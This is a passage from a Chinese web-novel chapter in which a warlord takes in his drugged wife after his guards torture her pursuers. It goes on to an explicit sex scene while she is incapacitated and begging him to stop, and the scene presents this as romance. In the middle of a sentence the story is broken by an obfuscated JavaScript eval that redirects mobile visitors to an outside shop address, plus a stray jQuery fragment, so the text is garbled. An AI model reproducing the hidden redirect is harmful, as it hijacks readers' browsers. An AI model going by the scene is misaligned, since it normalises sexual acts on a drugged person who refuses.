晏山青接住浑身滚烫、抖得不成样子的江浸月,眉头拧得死紧,沉声问:“你什么时候出门的?怎么把自己弄成这样?”
江浸月意识涣散,听不清他在说什么,只觉得那股磨人的燥热快要将她烧化了,她无意识地在他怀里蹭着,发出小猫似的呜咽。
晏山青感觉出她的不对劲,但不知道她为什么会这样,抬头看向她跑来的方向,发现街角有两个鬼鬼祟祟的身影在朝他们这边探头探脑。
他眯了一下眼,那两个人就做贼心虚地吓了一跳,转身就想跑。
“抓过来。”他声音冷得掉冰碴子。
身后亲卫立刻如同猎豹般冲了出去,没几下就将那两人扭着胳膊押过来,按跪在晏山青面前。
“你们谁的人?追我夫人做什么?”晏山青居高临下地问。
那两人瑟瑟发抖,不敢吭声。
亲卫二话不说,手上用力,“咔嚓”两声脆响,直接卸了他们的胳膊!
“啊——!”惨叫声响起。
“是、是白二少爷……是白泽宇让我们抓她回去的……”其中一人疼得涕泗横流,慌忙交代。
晏山青眼底瞬间卷起风暴。
白泽宇!
他竟然敢!
他不再多问,打横抱起江浸月,对亲卫冷声下令:“去把白术业和白泽宇,都给我带过来!”
亲卫:“是!”
晏山青抱着江浸月,大步流星地往垆雪院而去。
江浸月在他怀里不安分地扭动,滚烫的呼吸喷在他颈侧,带着灼人的热度,柔软的身体紧紧贴着他,无意识地摩擦。
他下颌线绷得极紧,步伐又快又稳。
进到房间,他将她放在大床上,刚要转身去吩咐人请大夫,身体还没完全离开床沿,江浸月就像溺水的人抓住浮木,双臂勾住他的脖子,整个人挂到他身上。
晏山青猝不及防,重心不稳,随着她的力道一起摔倒床上。
“督军……”
江浸月含糊地喊着他,湿润柔软的唇胡乱地印在他的下巴、脸侧、喉结上,带着一种不管不顾的渴求。
晏山青身体一僵。
他捏住她的下巴,迫使她抬起头。
她脸上泛着不正常的潮红,眼眸水光潋滟,完全没有平日的清明冷静,有的只是一种……誘人的春情。
他眸色瞬间暗沉下来,声音低缓:“白泽宇给你下了那种药?”
好大的狗胆!
江浸月根本听不进他在说什么,只觉得抱着的人冰冰凉凉的,能缓解她的燥热。她本能地贴得更紧,双手无意识地去扯他军装外套的扣子,嘴里溢出難耐的低吟。
“……督军……”
“平时不是挺聪明的么?”晏山青任由她胡乱动作,语气里压着火气,“怎么会蠢到中了这种下三烂的招数?”
她要是没逃回来怎么办?
她要是被那两个人抓回去了怎么办?
晏山青一想到这些可能,就觉得火气噌噌地冒。
他想弄死白泽宇,也想“弄死”这个混账女人。
完全体会不到男人的杀心的江浸月,更加用力地抱紧他,在他怀里毫不掩饰渴求地蹭動,像只求偶期的母兽,毫无章法地在他身上点火。
隔着衣物,他都能感受到她身體的灼熱和柔軟。
晏山青呼吸加重,被她蹭得浑身肌肉都绷紧了,他按住她不安分的肩膀,将她稍稍推开,幽深的眼睛紧紧锁住她迷蒙的脸。
“喊我‘督军’?”他声音又沉又哑,“我是哪个‘督军’?嗯?”
江浸月汲取不到他的气息,眉头蹙起,却依旧神志不清,双腿缠上他的劲腰,小手还在执着地解他的皮带。
晏山青额角青筋跳了跳,再次捏住她的下巴,逼她看着自己:“江浸月,看清楚,我是你哪个督军?沈霁禾,还是晏山青?”
“督军,好热……救救我……”
江浸月根本听不见他在说什么,只是哭腔浓重地哀求,眼泪混着汗水滑落,沾湿了鬓角,看起来可怜又……誘人。
“……”
晏山青又不是柳下惠,被她这样又蹭又喊了半天,怎么可能没有感觉,她喉结滚动,低骂了一句什么,然后猛地低头,狠狠吻住她那张喋喋不休,只会喊“督军”的唇。
这个吻凶狠而霸道,存心要她疼、要她清醒、要她为这么不小心中药付出代价、要她承担认不清人的后果。他撬开她的牙关,长驱直入,掠夺她所有的呼吸和呜咽。
“唔……”
江浸月被他吻得喘不过气,却像久旱逢甘霖,更加
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022718|194284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主动地迎上去,生涩地回应。
晏山青一手扣着她的后脑,加深这个吻,另一只手粗暴地扯开她淩亂不堪的旗袍扣子,布料在大力撕裂下发出轻微的声响,危险又暧昧。
大片雪白的肌膚暴露在空气中,因为药效泛着淡淡的粉色,晏山青的眼眸深得像丛林中的野兽,吻从她的唇畔滑落,沿着纤细的脖颈一路向下,在她精致的锁骨和胸前留下一串吓人的红痕。
“啊……”
江浸月吃疼又顫抖,弓起身子,却是更紧地抱住他,指甲无意识地陷进他后背的衣料里。
晏山青的呼吸粗重,脫掉自己的军装外套和衬衫,露出精壮的上身,肌肉线条流畅而充满野性的力量感。
他非常强壮,非常凶悍,身形几乎等于两个江浸月。
他重新控制住她,滾燙的肌膚相貼,两人都禁不住发出一声喟叹。
“江浸月,这是你自找的。”他咬着她的耳垂,哑声宣告。
意亂情迷中,他沉腰抵入——
“啊——痛!”
江浸月猝然叫起,眼泪瞬间涌出,刚才还紧紧缠着他的四肢猛地绷直,开始剧烈挣扎,“不要……出去!好痛……太大……”
撕裂般的劇痛压过了汹涌的药性,让她恢复了一丝清明,哭着往外推他紧绷的胸膛。
晏山青浑身肌肉偾张,额上渗出细密的汗珠,进不得,退不得,被她哭得心头烦躁,又莫名心软。
他停下动作,咬牙忍耐着,声音沙哑得不成样子:“……是你太窄了。”
他看着她泪眼婆娑、疼得小脸皱成一团的样子,深吸一口气,试图放缓语气,但紧绷的身体和灼热的慾望让他每个字都像是从喉咙里挤出来:
“……我没做过。怎么弄?你教我。”
可江浸月这会儿被疼痛和残存的药效双重折磨,哪里还知道怎么“教”他,只是缩着身子哭,一边哭一边又因那磨人的空虛而難耐地扭動。
晏山青被她哭得心烦意乱,又被她无意识的动作蹭得快要**。他抓住她乱动的手腕,按在头顶,俯身看着她,眼底是翻滚的情慾。
“江浸月,你想让我死,是吧?”他抵着她的额头,气息灼热,“不让我做下去,又不放开我。我能怎么办?”